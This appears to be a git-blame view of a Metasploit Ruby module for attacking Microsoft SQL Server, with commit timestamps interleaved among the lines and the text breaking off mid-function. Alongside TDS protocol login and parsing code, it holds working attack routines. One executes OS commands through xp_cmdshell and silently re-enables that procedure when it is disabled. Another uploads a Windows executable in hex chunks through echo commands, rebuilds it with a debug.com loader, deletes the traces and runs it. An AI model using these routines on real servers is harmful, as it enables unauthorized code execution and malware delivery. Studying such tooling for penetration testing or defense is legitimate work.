2005-11-26 11:16:50 +00:00
|
|
|
require 'msf/core'
|
2009-10-23 19:15:32 +00:00
|
|
|
require 'msf/core/exploit/mssql_commands'
|
2005-11-26 11:16:50 +00:00
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# This module exposes methods for querying a remote MSSQL service
|
|
|
|
#
|
|
|
|
###
|
|
|
|
module Exploit::Remote::MSSQL
|
2009-10-23 19:15:32 +00:00
|
|
|
|
2009-12-30 22:15:12 +00:00
|
|
|
include Exploit::Remote::MSSQL_COMMANDS
|
2005-11-26 11:16:50 +00:00
|
|
|
include Exploit::Remote::Udp
|
|
|
|
include Exploit::Remote::Tcp
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2005-11-26 11:16:50 +00:00
|
|
|
#
|
|
|
|
# Creates an instance of a MSSQL exploit module.
|
|
|
|
#
|
|
|
|
def initialize(info = {})
|
|
|
|
super
|
|
|
|
|
2006-02-01 22:33:49 +00:00
|
|
|
# Register the options that all MSSQL exploits may make use of.
|
2005-11-26 11:16:50 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RHOST,
|
|
|
|
Opt::RPORT(1433),
|
2010-01-20 01:43:01 +00:00
|
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
|
|
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
|
|
|
|
], Msf::Exploit::Remote::MSSQL)
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
2009-12-30 22:15:12 +00:00
|
|
|
OptPath.new('HEX2BINARY', [ false, "The path to the hex2binary script on the disk",
|
2009-10-18 20:58:01 +00:00
|
|
|
File.join(Msf::Config.install_root, "data", "exploits", "mssql", "h2b")
|
|
|
|
])
|
2005-11-26 11:16:50 +00:00
|
|
|
], Msf::Exploit::Remote::MSSQL)
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-28 18:04:50 +00:00
|
|
|
register_autofilter_ports([ 1433, 1434, 1435, 14330, 2533, 9152, 2638] )
|
2009-12-30 22:15:12 +00:00
|
|
|
register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
|
2005-11-26 11:16:50 +00:00
|
|
|
end
|
2009-10-28 18:04:50 +00:00
|
|
|
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2005-11-26 11:16:50 +00:00
|
|
|
#
|
|
|
|
# This method sends a UDP query packet to the server and
|
|
|
|
# parses out the reply packet into a hash
|
|
|
|
#
|
2006-08-13 18:03:28 +00:00
|
|
|
def mssql_ping(timeout=5)
|
2005-11-26 11:16:50 +00:00
|
|
|
data = { }
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2005-11-26 11:16:50 +00:00
|
|
|
ping_sock = Rex::Socket::Udp.create(
|
2006-08-13 18:03:28 +00:00
|
|
|
'PeerHost' => rhost,
|
2005-11-26 11:16:50 +00:00
|
|
|
'PeerPort' => 1434,
|
|
|
|
'Context' =>
|
|
|
|
{
|
|
|
|
'Msf' => framework,
|
|
|
|
'MsfExploit' => self,
|
|
|
|
})
|
2009-12-30 22:15:12 +00:00
|
|
|
|
|
|
|
|
2005-11-26 11:16:50 +00:00
|
|
|
ping_sock.put("\x02")
|
2006-08-13 18:03:28 +00:00
|
|
|
resp, saddr, sport = ping_sock.recvfrom(65535, timeout)
|
2005-11-26 11:16:50 +00:00
|
|
|
ping_sock.close
|
|
|
|
|
|
|
|
return data if not resp
|
|
|
|
return data if resp.length == 0
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2005-11-26 11:16:50 +00:00
|
|
|
var = nil
|
2006-08-13 18:03:28 +00:00
|
|
|
|
|
|
|
return mssql_ping_parse(resp)
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2006-08-13 18:03:28 +00:00
|
|
|
#
|
|
|
|
# Parse a 'ping' response and format as a hash
|
|
|
|
#
|
|
|
|
def mssql_ping_parse(data)
|
|
|
|
res = {}
|
|
|
|
var = nil
|
|
|
|
idx = data.index('ServerName')
|
|
|
|
return res if not idx
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2006-08-13 18:03:28 +00:00
|
|
|
data[idx, data.length-idx].split(';').each do |d|
|
2005-11-26 11:16:50 +00:00
|
|
|
if (not var)
|
|
|
|
var = d
|
|
|
|
else
|
2006-08-13 18:03:28 +00:00
|
|
|
if (var.length > 0)
|
|
|
|
res[var] = d
|
|
|
|
var = nil
|
|
|
|
end
|
2005-11-26 11:16:50 +00:00
|
|
|
end
|
2006-08-13 18:03:28 +00:00
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2006-08-13 18:03:28 +00:00
|
|
|
return res
|
2005-11-26 11:16:50 +00:00
|
|
|
end
|
2009-10-18 20:58:01 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Execute a system command via xp_cmdshell
|
|
|
|
#
|
2009-10-23 19:15:32 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
def mssql_xpcmdshell(cmd,doprint=false,opts={})
|
2009-12-30 22:15:12 +00:00
|
|
|
force_enable = false
|
2009-10-18 20:58:01 +00:00
|
|
|
begin
|
|
|
|
res = mssql_query("xp_cmdshell '#{cmd}'", false, opts)
|
|
|
|
if(res[:errors] and not res[:errors].empty?)
|
|
|
|
if(res[:errors].join =~ /xp_cmdshell/)
|
|
|
|
if(force_enable)
|
|
|
|
print_error("The xp_cmdshell procedure is not available and could not be enabled")
|
|
|
|
raise RuntimeError, "Failed to execute command"
|
|
|
|
else
|
|
|
|
print_status("The server may have xp_cmdshell disabled, trying to enable it...")
|
2009-10-23 19:15:32 +00:00
|
|
|
mssql_query(mssql_xpcmdshell_enable())
|
2009-10-18 20:58:01 +00:00
|
|
|
raise RuntimeError, "xp_cmdshell disabled"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
mssql_print_reply(res) if doprint
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
return res
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
rescue RuntimeError => e
|
|
|
|
if(e.to_s =~ /xp_cmdshell disabled/)
|
|
|
|
force_enable = true
|
|
|
|
retry
|
|
|
|
end
|
|
|
|
raise e
|
|
|
|
end
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
|
|
|
# Upload and execute a Windows binary through MSSQL queries
|
|
|
|
#
|
|
|
|
def mssql_upload_exec(exe, debug=false)
|
|
|
|
hex = exe.unpack("H*")[0]
|
|
|
|
|
|
|
|
var_bypass = rand_text_alpha(8)
|
|
|
|
var_payload = rand_text_alpha(8)
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
|
|
|
|
print_status("Writing the debug.com loader to the disk...")
|
|
|
|
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
|
|
|
|
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
|
|
|
|
h2b.split(/\n/).each do |line|
|
2009-12-30 22:15:12 +00:00
|
|
|
mssql_xpcmdshell("#{line}", false)
|
2009-10-18 20:58:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Converting the debug script to an executable...")
|
2009-12-30 22:15:12 +00:00
|
|
|
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
|
|
|
|
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
|
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
print_status("Uploading the payload, please be patient...")
|
|
|
|
idx = 0
|
|
|
|
cnt = 500
|
|
|
|
while(idx < hex.length - 1)
|
|
|
|
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
|
|
|
|
idx += cnt
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
print_status("Converting the encoded payload...")
|
2009-12-30 22:15:12 +00:00
|
|
|
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
|
|
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
|
|
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
|
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
print_status("Executing the payload...")
|
2009-12-30 22:15:12 +00:00
|
|
|
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
|
2009-10-18 20:58:01 +00:00
|
|
|
end
|
|
|
|
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
#
|
|
|
|
# Send and receive using TDS
|
|
|
|
#
|
|
|
|
def mssql_send_recv(req, timeout=15)
|
|
|
|
sock.put(req)
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
# Read the 8 byte header to get the length and status
|
|
|
|
# Read the length to get the data
|
|
|
|
# If the status is 0, read another header and more data
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
done = false
|
|
|
|
resp = ""
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
while(not done)
|
|
|
|
head = sock.get_once(8, timeout)
|
2009-10-25 17:18:23 +00:00
|
|
|
if !(head and head.length == 8)
|
2009-10-18 01:17:58 +00:00
|
|
|
return false
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
# Is this the last buffer?
|
|
|
|
if(head[1,1] == "\x01")
|
|
|
|
done = true
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
# Grab this block's length
|
|
|
|
rlen = head[2,2].unpack('n')[0] - 8
|
|
|
|
|
|
|
|
while(rlen > 0)
|
|
|
|
buff = sock.get_once(rlen, timeout)
|
|
|
|
return if not buff
|
|
|
|
resp << buff
|
|
|
|
rlen -= buff.length
|
|
|
|
end
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
resp
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
#
|
2009-10-18 20:58:01 +00:00
|
|
|
# Encrypt a password according to the TDS protocol (encode)
|
2009-10-18 01:17:58 +00:00
|
|
|
#
|
|
|
|
def mssql_tds_encrypt(pass)
|
|
|
|
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
|
|
|
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2005-11-26 11:16:50 +00:00
|
|
|
#
|
|
|
|
# This method connects to the server over TCP and attempts
|
|
|
|
# to authenticate with the supplied username and password
|
|
|
|
# The global socket is used and left connected after auth
|
|
|
|
#
|
2009-10-18 01:17:58 +00:00
|
|
|
def mssql_login(user='sa', pass='', db='')
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-13 22:24:47 +00:00
|
|
|
disconnect if self.sock
|
|
|
|
connect
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt = ""
|
|
|
|
idx = 0
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt << [
|
|
|
|
0x00000000, # Dummy size
|
|
|
|
0x71000001, # TDS Version
|
|
|
|
0x00000000, # Size
|
|
|
|
0x00000007, # Version
|
|
|
|
rand(1024+1), # PID
|
|
|
|
0x00000000, # ConnectionID
|
|
|
|
0xe0, # Option Flags 1
|
|
|
|
0x03, # Option Flags 2
|
|
|
|
0x00, # SQL Type Flags
|
|
|
|
0x00, # Reserved Flags
|
|
|
|
0x00000000, # Time Zone
|
|
|
|
0x00000000 # Collation
|
|
|
|
].pack('VVVVVVCCCCVV')
|
2009-12-30 22:15:12 +00:00
|
|
|
|
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
|
|
|
uname = Rex::Text.to_unicode( user )
|
|
|
|
pname = mssql_tds_encrypt( pass )
|
2009-12-30 22:15:12 +00:00
|
|
|
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
2009-10-18 01:17:58 +00:00
|
|
|
sname = Rex::Text.to_unicode( rhost )
|
|
|
|
dname = Rex::Text.to_unicode( db )
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
idx = pkt.size + 50 # lengths below
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt << [idx, cname.length / 2].pack('vv')
|
|
|
|
idx += cname.length
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt << [idx, uname.length / 2].pack('vv')
|
2009-12-30 22:15:12 +00:00
|
|
|
idx += uname.length
|
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt << [idx, pname.length / 2].pack('vv')
|
|
|
|
idx += pname.length
|
|
|
|
|
|
|
|
pkt << [idx, aname.length / 2].pack('vv')
|
2009-12-30 22:15:12 +00:00
|
|
|
idx += aname.length
|
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt << [idx, sname.length / 2].pack('vv')
|
|
|
|
idx += sname.length
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt << [0, 0].pack('vv')
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt << [idx, aname.length / 2].pack('vv')
|
2009-12-30 22:15:12 +00:00
|
|
|
idx += aname.length
|
2009-10-18 01:17:58 +00:00
|
|
|
|
|
|
|
pkt << [idx, 0].pack('vv')
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt << [idx, dname.length / 2].pack('vv')
|
2009-12-30 22:15:12 +00:00
|
|
|
idx += dname.length
|
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
# The total length has to be embedded twice more here
|
|
|
|
pkt << [
|
|
|
|
0,
|
|
|
|
0,
|
|
|
|
0x12345678,
|
|
|
|
0x12345678
|
|
|
|
].pack('vVVV')
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt << cname
|
|
|
|
pkt << uname
|
|
|
|
pkt << pname
|
2009-12-30 22:15:12 +00:00
|
|
|
pkt << aname
|
2009-10-18 01:17:58 +00:00
|
|
|
pkt << sname
|
|
|
|
pkt << aname
|
|
|
|
pkt << dname
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
# Total packet length
|
|
|
|
pkt[0,4] = [pkt.length].pack('V')
|
|
|
|
|
|
|
|
# Embedded packet lengths
|
|
|
|
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
|
|
|
|
|
|
|
|
# Packet header and total length including header
|
|
|
|
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
|
|
|
|
|
|
|
|
resp = mssql_send_recv(pkt)
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
info = {:errors => []}
|
|
|
|
info = mssql_parse_reply(resp,info)
|
2009-12-30 22:15:12 +00:00
|
|
|
|
|
|
|
return false if not info
|
2009-10-18 01:17:58 +00:00
|
|
|
info[:login_ack] ? true : false
|
|
|
|
end
|
2009-10-13 22:24:47 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
2010-01-20 01:43:01 +00:00
|
|
|
# Login to the SQL server using the standard USERNAME/PASSWORD options
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
2009-10-18 01:17:58 +00:00
|
|
|
def mssql_login_datastore(db='')
|
2010-01-20 01:43:01 +00:00
|
|
|
mssql_login(datastore['USERNAME'], datastore['PASSWORD'], db)
|
2009-10-13 22:24:47 +00:00
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
|
|
|
# Issue a SQL query using the TDS protocol
|
|
|
|
#
|
2009-10-18 01:17:58 +00:00
|
|
|
def mssql_query(sqla, doprint=false, opts={})
|
|
|
|
info = { :sql => sqla }
|
2009-10-23 19:15:32 +00:00
|
|
|
|
2009-12-30 22:15:12 +00:00
|
|
|
opts[:timeout] ||= 15
|
|
|
|
|
2009-10-18 03:07:25 +00:00
|
|
|
pkts = []
|
|
|
|
idx = 0
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 03:07:25 +00:00
|
|
|
bsize = 4096 - 8
|
|
|
|
chan = 0
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 03:07:25 +00:00
|
|
|
@cnt ||= 0
|
|
|
|
@cnt += 1
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
sql = Rex::Text.to_unicode(sqla)
|
2009-10-18 03:07:25 +00:00
|
|
|
while(idx < sql.length)
|
|
|
|
buf = sql[idx, bsize]
|
2009-12-30 22:15:12 +00:00
|
|
|
flg = buf.length < bsize ? "\x01" : "\x00"
|
2009-10-18 03:07:25 +00:00
|
|
|
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
|
|
|
|
idx += bsize
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 03:07:25 +00:00
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 03:07:25 +00:00
|
|
|
resp = mssql_send_recv(pkts.join, opts[:timeout])
|
2009-10-14 17:41:12 +00:00
|
|
|
mssql_parse_reply(resp, info)
|
2009-10-13 22:24:47 +00:00
|
|
|
mssql_print_reply(info) if doprint
|
|
|
|
info
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-13 22:24:47 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
|
|
|
# Nicely print the results of a SQL query
|
|
|
|
#
|
2009-10-13 22:24:47 +00:00
|
|
|
def mssql_print_reply(info)
|
|
|
|
|
2009-10-14 17:41:12 +00:00
|
|
|
print_status("SQL Query: #{info[:sql]}")
|
|
|
|
|
2009-10-13 22:24:47 +00:00
|
|
|
if(info[:done] and info[:done][:rows].to_i > 0)
|
|
|
|
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
|
|
|
|
end
|
|
|
|
|
|
|
|
if(info[:errors] and not info[:errors].empty?)
|
|
|
|
info[:errors].each do |err|
|
|
|
|
print_error(err)
|
|
|
|
end
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-13 22:24:47 +00:00
|
|
|
if(info[:rows] and not info[:rows].empty?)
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-14 17:41:12 +00:00
|
|
|
tbl = Rex::Ui::Text::Table.new(
|
|
|
|
'Indent' => 1,
|
|
|
|
'Header' => "",
|
|
|
|
'Columns' => info[:colnames]
|
|
|
|
)
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-14 17:41:12 +00:00
|
|
|
info[:rows].each do |row|
|
|
|
|
tbl << row
|
2009-10-13 22:24:47 +00:00
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-14 17:41:12 +00:00
|
|
|
print_line(tbl.to_s)
|
2009-10-13 22:24:47 +00:00
|
|
|
end
|
2009-01-12 05:18:05 +00:00
|
|
|
end
|
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
|
|
|
# Parse a raw TDS reply from the server
|
|
|
|
#
|
2009-10-18 01:17:58 +00:00
|
|
|
def mssql_parse_tds_reply(data, info)
|
|
|
|
info[:errors] ||= []
|
|
|
|
info[:colinfos] ||= []
|
|
|
|
info[:colnames] ||= []
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
# Parse out the columns
|
|
|
|
cols = data.slice!(0,2).unpack('v')[0]
|
|
|
|
0.upto(cols-1) do |col_idx|
|
|
|
|
col = {}
|
|
|
|
info[:colinfos][col_idx] = col
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
col[:utype] = data.slice!(0,2).unpack('v')[0]
|
|
|
|
col[:flags] = data.slice!(0,2).unpack('v')[0]
|
|
|
|
col[:type] = data.slice!(0,1).unpack('C')[0]
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
case col[:type]
|
|
|
|
when 48
|
|
|
|
col[:id] = :tinyint
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
when 52
|
|
|
|
col[:id] = :smallint
|
|
|
|
|
|
|
|
when 56
|
|
|
|
col[:id] = :rawint
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
when 61
|
|
|
|
col[:id] = :datetime
|
|
|
|
|
|
|
|
when 34
|
|
|
|
col[:id] = :image
|
|
|
|
col[:max_size] = data.slice!(0,4).unpack('V')[0]
|
|
|
|
col[:value_length] = data.slice!(0,2).unpack('v')[0]
|
|
|
|
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
when 36
|
|
|
|
col[:id] = :string
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
when 38
|
|
|
|
col[:id] = :int
|
|
|
|
col[:int_size] = data.slice!(0,1).unpack('C')[0]
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
when 127
|
|
|
|
col[:id] = :bigint
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
when 165
|
|
|
|
col[:id] = :hex
|
|
|
|
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
|
|
|
|
|
|
|
when 173
|
|
|
|
col[:id] = :hex # binary(2)
|
|
|
|
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-25 17:18:23 +00:00
|
|
|
when 231,175,167,239
|
2009-10-18 01:17:58 +00:00
|
|
|
col[:id] = :string
|
|
|
|
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
|
|
|
col[:codepage] = data.slice!(0,2).unpack('v')[0]
|
|
|
|
col[:cflags] = data.slice!(0,2).unpack('v')[0]
|
|
|
|
col[:charset_id] = data.slice!(0,1).unpack('C')[0]
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
else
|
|
|
|
col[:id] = :unknown
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
col[:msg_len] = data.slice!(0,1).unpack('C')[0]
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
if(col[:msg_len] and col[:msg_len] > 0)
|
|
|
|
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
|
|
|
end
|
|
|
|
info[:colnames] << (col[:name] || 'NULL')
|
2009-01-12 05:18:05 +00:00
|
|
|
end
|
2009-10-18 01:17:58 +00:00
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
|
|
|
# Parse individual tokens from a TDS reply
|
|
|
|
#
|
2009-10-18 01:17:58 +00:00
|
|
|
def mssql_parse_reply(data, info)
|
|
|
|
info[:errors] = []
|
2009-10-18 03:09:30 +00:00
|
|
|
return if not data
|
2009-10-13 22:24:47 +00:00
|
|
|
until data.empty?
|
2009-12-30 22:15:12 +00:00
|
|
|
token = data.slice!(0,1).unpack('C')[0]
|
2009-01-12 05:18:05 +00:00
|
|
|
case token
|
2009-10-18 01:17:58 +00:00
|
|
|
when 0x81
|
|
|
|
mssql_parse_tds_reply(data, info)
|
2009-01-12 05:18:05 +00:00
|
|
|
when 0xd1
|
2009-10-18 01:17:58 +00:00
|
|
|
mssql_parse_tds_row(data, info)
|
|
|
|
when 0xe3
|
|
|
|
mssql_parse_env(data, info)
|
2009-01-12 05:18:05 +00:00
|
|
|
when 0x79
|
2009-10-13 22:24:47 +00:00
|
|
|
mssql_parse_ret(data, info)
|
2009-01-12 05:18:05 +00:00
|
|
|
when 0xfd, 0xfe, 0xff
|
2009-10-13 22:24:47 +00:00
|
|
|
mssql_parse_done(data, info)
|
2009-10-18 01:17:58 +00:00
|
|
|
when 0xad
|
|
|
|
mssql_parse_login_ack(data, info)
|
|
|
|
when 0xab
|
|
|
|
mssql_parse_info(data, info)
|
2009-10-13 22:24:47 +00:00
|
|
|
when 0xaa
|
|
|
|
mssql_parse_error(data, info)
|
2009-01-12 05:18:05 +00:00
|
|
|
when nil
|
|
|
|
break
|
|
|
|
else
|
2009-10-18 01:17:58 +00:00
|
|
|
info[:errors] << "unsupported token: #{token}"
|
2009-01-12 05:18:05 +00:00
|
|
|
end
|
2009-01-12 00:26:05 +00:00
|
|
|
end
|
2009-10-13 22:24:47 +00:00
|
|
|
info
|
2009-01-12 05:18:05 +00:00
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
|
|
|
# Parse a single row of a TDS reply
|
|
|
|
#
|
2009-10-18 01:17:58 +00:00
|
|
|
def mssql_parse_tds_row(data, info)
|
2009-10-13 22:24:47 +00:00
|
|
|
info[:rows] ||= []
|
2009-10-14 17:41:12 +00:00
|
|
|
row = []
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-14 17:41:12 +00:00
|
|
|
info[:colinfos].each do |col|
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
if(data.length == 0)
|
|
|
|
row << "<EMPTY>"
|
|
|
|
next
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
case col[:id]
|
|
|
|
when :hex
|
|
|
|
str = ""
|
|
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
|
|
if(len > 0 and len < 65535)
|
2009-12-30 22:15:12 +00:00
|
|
|
str << data.slice!(0,len)
|
2009-10-14 17:41:12 +00:00
|
|
|
end
|
2009-10-18 01:17:58 +00:00
|
|
|
row << str.unpack("H*")[0]
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-14 17:41:12 +00:00
|
|
|
when :string
|
2009-10-18 01:17:58 +00:00
|
|
|
str = ""
|
|
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
|
|
if(len > 0 and len < 65535)
|
2009-12-30 22:15:12 +00:00
|
|
|
str << data.slice!(0,len)
|
2009-10-18 01:17:58 +00:00
|
|
|
end
|
|
|
|
row << str.gsub("\x00", '')
|
2009-10-14 17:41:12 +00:00
|
|
|
|
|
|
|
when :datetime
|
|
|
|
row << data.slice!(0,8).unpack("H*")[0]
|
2009-10-18 01:17:58 +00:00
|
|
|
|
|
|
|
when :rawint
|
|
|
|
row << data.slice!(0,4).unpack('V')[0]
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
when :bigint
|
|
|
|
row << data.slice!(0,8).unpack("H*")[0]
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
when :smallint
|
2009-12-30 22:15:12 +00:00
|
|
|
row << data.slice!(0, 2).unpack("v")[0]
|
2009-10-18 01:17:58 +00:00
|
|
|
|
|
|
|
when :smallint3
|
2009-12-30 22:15:12 +00:00
|
|
|
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
when :tinyint
|
|
|
|
row << data.slice!(0, 1).unpack("C")[0]
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-14 17:41:12 +00:00
|
|
|
when :image
|
2009-10-18 01:17:58 +00:00
|
|
|
str = ''
|
2009-10-14 17:41:12 +00:00
|
|
|
len = data.slice!(0,1).unpack('C')[0]
|
2009-10-18 01:17:58 +00:00
|
|
|
str = data.slice!(0,len) if (len and len > 0)
|
|
|
|
row << str.unpack("H*")[0]
|
2009-10-14 17:41:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
when :int
|
|
|
|
len = data.slice!(0, 1).unpack("C")[0]
|
|
|
|
